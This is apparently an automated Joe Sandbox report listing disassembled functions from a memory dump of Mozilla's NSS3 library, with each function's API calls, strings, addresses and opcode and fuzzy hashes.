Opcode ID: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction ID: af4238cdeea41dcecf73d11d0d1d0b3df89830cc92456ad3813c64d98c3ffacb
Opcode Fuzzy Hash: b62018073d0029e9442821989eb10377335aa50ab2c22a577a1044bbc618799b
Instruction Fuzzy Hash: 63F0AFB1A142076BEB509F7A9E099477B98EF05269B018839E80DC3F00EB34E114CAE5

Function 6C81ADF0 Relevance: 7.5, APIs: 5, Instructions: 35COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE0D
free.MOZGLUE(?), ref: 6C81AE14
DeleteCriticalSection.KERNEL32(6C81A6D8), ref: 6C81AE36
free.MOZGLUE(?), ref: 6C81AE3D
free.MOZGLUE(00000000,00000000,?,?,6C81A6D8), ref: 6C81AE47

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction ID: b5c751b0eb89d8096ec1b6ef18932caf382bfc4d7691b9dd71cf534d818966b2
Opcode Fuzzy Hash: 24dd25d7ec3332671265cf2718fc18a938553541a3064c27bfae125ef55b8152
Instruction Fuzzy Hash: B3F0F6B9601A02A7CA219F68D8089577BB8BF8A778B100338F12A83941D775E015CFD1

Function 6C6A7C40 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 100COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A0D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6A7D35

Strings

database corruption, xrefs: 6C6A7D29
%s at line %d of [%.10s], xrefs: 6C6A7D2E
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6A7D13, 6C6A7D1F, 6C6A7D47, 6C6A7D53, 6C6A7D5F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction ID: 126519af548bbbe1cd354441175ccc61fa0aea9f06e3c9030062434c978d00ff
Opcode Fuzzy Hash: a1d30d9cc792bb0af1f21816b6ad6d505ed647540ce48dd04f10b953f1380fce
Instruction Fuzzy Hash: 6A311471E042299BC710CFDDC880DBAB7F1EF84709B594596E448B7B8AD270DC42C7A8

Function 6C696C90 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 76COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000134E5,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?), ref: 6C696D36

Strings

database corruption, xrefs: 6C696D2A
%s at line %d of [%.10s], xrefs: 6C696D2F
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C696D20

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 632333372-598938438
Opcode ID: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction ID: 3cc0797cf18f19c7f01b0ef6179f22abbc2394e160a51d4ee27c172615045c54
Opcode Fuzzy Hash: fbf1f7f2ccfdc05922cde785e4760a9503b079a7e60315d1951ad91c5b83d2a2
Instruction Fuzzy Hash: 562124706003069BC710CF19C941B9AB7F1AF81308F14892DD8599BFA1E370F949C7EA

Function 6C772FD0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,-000000D4,00000000,?,<+wl,6C7732C2,<+wl,00000000,00000000,?), ref: 6C772FDA

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,-00000007), ref: 6C77300B

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECOID_FindOIDByTag_Util.NSS3(00000010), ref: 6C77302A

Part of subcall function 6C760840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C7608B4

Part of subcall function 6C74C3D0: PK11_ImportPublicKey.NSS3(?,?,00000000), ref: 6C74C45D
Part of subcall function 6C74C3D0: TlsGetValue.KERNEL32 ref: 6C74C494
Part of subcall function 6C74C3D0: EnterCriticalSection.KERNEL32(?), ref: 6C74C4A9
Part of subcall function 6C74C3D0: PR_Unlock.NSS3(?), ref: 6C74C4F4

Strings

<+wl, xrefs: 6C772FD0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$ArenaCriticalEnterSectionUnlockUtil$Alloc_AllocateErrorFindImportK11_Mark_PublicTag_
String ID: <+wl
API String ID: 2538134263-2346447686
Opcode ID: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction ID: 44ae7621f7e6fa7872c35736310ed8cf14557e7e6f012f96a142b0fc750dc1a2
Opcode Fuzzy Hash: 595581cd8a3e58213a728435827faa4a7978b5385ddb469e9c4028bda8901334
Instruction Fuzzy Hash: 3911C4B6B001086BDF008E65AD09A9B779AAB8436CF184134EC1CD7B81E772E915C7A1

Function 6C7CCC70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

APIs

Part of subcall function 6C7CCD70: PR_LoadLibrary.NSS3(ws2_32.dll,?,?,?,6C7CCC7B), ref: 6C7CCD7A
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getaddrinfo), ref: 6C7CCD8E
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,freeaddrinfo), ref: 6C7CCDA5
Part of subcall function 6C7CCD70: PR_FindSymbol.NSS3(00000000,getnameinfo), ref: 6C7CCDB8

PR_GetUniqueIdentity.NSS3(Ipv6_to_Ipv4 layer), ref: 6C7CCCB5
memcpy.VCRUNTIME140(6C8614F4,6C8602AC,00000090), ref: 6C7CCCD3
memcpy.VCRUNTIME140(6C861588,6C8602AC,00000090), ref: 6C7CCD2B

Part of subcall function 6C6E9AC0: socket.WSOCK32(?,00000017,6C6E99BE), ref: 6C6E9AE6
Part of subcall function 6C6E9AC0: ioctlsocket.WSOCK32(00000000,8004667E,00000001,?,00000017,6C6E99BE), ref: 6C6E9AFC

Part of subcall function 6C6F0590: closesocket.WSOCK32(6C6E9A8F,?,?,6C6E9A8F,00000000), ref: 6C6F0597

Strings

Ipv6_to_Ipv4 layer, xrefs: 6C7CCCB0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: FindSymbol$memcpy$IdentityLibraryLoadUniqueclosesocketioctlsocketsocket
String ID: Ipv6_to_Ipv4 layer
API String ID: 1231378898-412307543
Opcode ID: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction ID: 3e64f82219cab482a5ed2d65609f48e4785093b14052f78e066fe3f5cf9af66e
Opcode Fuzzy Hash: 5650152da402876eae7f5472696ef4673cbc9a0280232d917dd106263a5b8279
Instruction Fuzzy Hash: F9116DF1B082415EDB309B5B9A0B762BAE8974731CF542839E416CBF42E775C408DBDA

Function 6C731CC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C731CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C731CF1

Part of subcall function 6C8109D0: PR_Now.NSS3 ref: 6C810A22
Part of subcall function 6C8109D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C810A35
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C810A66
Part of subcall function 6C8109D0: PR_GetCurrentThread.NSS3 ref: 6C810A70
Part of subcall function 6C8109D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C810A9D
Part of subcall function 6C8109D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C810AC8
Part of subcall function 6C8109D0: PR_vsmprintf.NSS3(?,?), ref: 6C810AE8
Part of subcall function 6C8109D0: EnterCriticalSection.KERNEL32(?), ref: 6C810B19
Part of subcall function 6C8109D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C810B48
Part of subcall function 6C8109D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C810C76
Part of subcall function 6C8109D0: PR_LogFlush.NSS3 ref: 6C810C7E

Strings

C_Initialize, xrefs: 6C731CD3
pInitArgs = 0x%p, xrefs: 6C731CEC

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize
API String ID: 1907330108-3943720641
Opcode ID: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction ID: 05269961eeb17e03bf7bc408a976a90dc5f955d8e8262b5714f0bec3d1d0ecca
Opcode Fuzzy Hash: bb4c86408cc4c19151437d9c69669ad8b65a255210bbcadadb53b26840ede6bf
Instruction Fuzzy Hash: 4501D234206160DFDB219B66DE0DB6533B5ABC335EF046474E40C86A12DB38E849C7D6

Function 6C697F90 Relevance: 6.2, APIs: 4, Instructions: 223COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C6981DF
LeaveCriticalSection.KERNEL32(?), ref: 6C698239
memcpy.VCRUNTIME140(00000000,?,00000000), ref: 6C698255
sqlite3_free.NSS3(00000000), ref: 6C698260

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavememcpysqlite3_free
String ID:
API String ID: 1525636458-0
Opcode ID: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction ID: 52801eba277630571999b41445b134145e2ae05c57bb3c603e5114a78c74c533
Opcode Fuzzy Hash: 7844141e1822b0c0aa184a5b0faabb2dba0a1def3d3c733c44448ee663c8cb98
Instruction Fuzzy Hash: F091BD31A0520ACBEF14CFE1D9487EDB7B1BF4A308F24013AD4069BA61D7399945CBC6

Function 6C771D60 Relevance: 6.1, APIs: 4, Instructions: 141memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?), ref: 6C771D8F

Part of subcall function 6C7614C0: TlsGetValue.KERNEL32 ref: 6C7614E0
Part of subcall function 6C7614C0: EnterCriticalSection.KERNEL32 ref: 6C7614F5
Part of subcall function 6C7614C0: PR_Unlock.NSS3 ref: 6C76150D

PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6C771DA6

Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C7610F3
Part of subcall function 6C7610C0: EnterCriticalSection.KERNEL32(?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76110C
Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761141
Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

SECITEM_ArenaDupItem_Util.NSS3(?,00000000), ref: 6C771E13
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C771ED0

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ArenaUtil$Value$CriticalEnterSectionUnlock$Alloc_AllocateArena_FreeItem_Mark_
String ID:
API String ID: 84796498-0
Opcode ID: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction ID: dd20e39bd8d5c8d125ce18666e73efbdd844b9df9b91400135df59e343e04d65
Opcode Fuzzy Hash: a933f0f40cc8fe090bdb0f3d76e191fc95a1409dce884556a03bad0d3e853679
Instruction Fuzzy Hash: 01515871A003098FDF20CF98C998BAEB7BABF45309F144129E81D9B651D771E945CBA0

Function 6C7C4FF0 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000,00000000,?,?,00000001,?,6C6A85D2,00000000,?,?), ref: 6C7C4FFD
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C500C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50C8
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7C50D6

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction ID: 42f15d7c7686216556f3729564d30c02a81a1aba94bc86faee81d36a1c076b9f
Opcode Fuzzy Hash: c1842a32e4e7e127450c3a2af53b9f41a547574912252666c9cd46b28f398346
Instruction Fuzzy Hash: D3416FB2A402168FCB18CF28DCD179AB7E1BF4531871D4669D84ACBB02E775E891CB81

Function 6C6EFFA0 Relevance: 6.1, APIs: 4, Instructions: 118COMMON

Download Yara Rule

APIs

sqlite3_initialize.NSS3(00000000,?,?,?,6C6EFDFE), ref: 6C6EFFAD

Part of subcall function 6C68CA30: EnterCriticalSection.KERNEL32(?,?,?,6C6EF9C9,?,6C6EF4DA,6C6EF9C9,?,?,6C6B369A), ref: 6C68CA7A
Part of subcall function 6C68CA30: LeaveCriticalSection.KERNEL32(?), ref: 6C68CB26

memset.VCRUNTIME140(00000000,00000000,00000008,00000000,?,?,?,6C6EFDFE), ref: 6C6EFFDF
EnterCriticalSection.KERNEL32(?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F001C
LeaveCriticalSection.KERNEL32(?,?,?,?,?,?,00000000,?,?,?,6C6EFDFE), ref: 6C6F006F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$memsetsqlite3_initialize
String ID:
API String ID: 2358433136-0
Opcode ID: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction ID: cf831450db55793b378b6d49b9aa082c2ae8694fb23b9afed82c4fd5d444dcd7
Opcode Fuzzy Hash: f64f123c2c482f569ac39e6389f604d19872b8e1b6e58f7a67ecf3e39904c223
Instruction Fuzzy Hash: 0841E071B002159BDF18DFA5DC85ABE7776FB8A318F040039D81693B01DB79A902CBD6

Function 6C7D7DE0 Relevance: 6.1, APIs: 4, Instructions: 108COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7E10
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EA6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C7D7EB5
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6C7D7ED8

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: _byteswap_ulong
String ID:
API String ID: 4101233201-0
Opcode ID: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction ID: ca953dca079135f844295b47b1094b7cf72aa420bc4cf61b632c7113d3f27a6a
Opcode Fuzzy Hash: 68fd819e4aa8e36df1224ea11687829a8446297eaaca2911829ad9927b1d0bc6
Instruction Fuzzy Hash: 0831A4B1A001128FDB04CF09C99099ABBE6BF88318B1B8579C8585BB15EB71EC45CBD1

Function 6C78DF00 Relevance: 6.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

Part of subcall function 6C713090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6C72AE42), ref: 6C7130AA
Part of subcall function 6C713090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C7130C7
Part of subcall function 6C713090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6C7130E5
Part of subcall function 6C713090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6C713116
Part of subcall function 6C713090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C71312B
Part of subcall function 6C713090: PK11_DestroyObject.NSS3(?,?), ref: 6C713154
Part of subcall function 6C713090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C71317E

SECKEY_CopyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6C78DBBD), ref: 6C78DFCF
SECKEY_DestroyPrivateKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C78DFEE

Part of subcall function 6C7286D0: PK11_Authenticate.NSS3(?,00000001,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728716
Part of subcall function 6C7286D0: TlsGetValue.KERNEL32(?,?,?,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 6C728727
Part of subcall function 6C7286D0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C72873B
Part of subcall function 6C7286D0: PR_Unlock.NSS3(?), ref: 6C72876F
Part of subcall function 6C7286D0: PR_SetError.NSS3(00000000,00000000), ref: 6C728787

Part of subcall function 6C74F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6C74F854
Part of subcall function 6C74F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6C74F868
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6C74F882
Part of subcall function 6C74F820: free.MOZGLUE(04C483FF,?,?), ref: 6C74F889
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6C74F8A4
Part of subcall function 6C74F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6C74F8AB
Part of subcall function 6C74F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6C74F8C9
Part of subcall function 6C74F820: free.MOZGLUE(280F10EC,?,?), ref: 6C74F8D0

SECKEY_DestroyPublicKey.NSS3(00000000,?,?,6C78DBBD), ref: 6C78DFFC
PR_SetError.NSS3(FFFFE013,00000000,?,?,6C78DBBD), ref: 6C78E007

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Utilfree$CriticalSection$DeleteDestroy$Arena_CopyErrorK11_Private$AlgorithmAlloc_ArenaAuthenticateEnterFreeItem_ObjectPublicTag_UnlockValuememset
String ID:
API String ID: 3730430729-0
Opcode ID: 03eb99a4c4b2babbafaa7e5a8345eae3ca2697199484535f371186f2a7172cc6
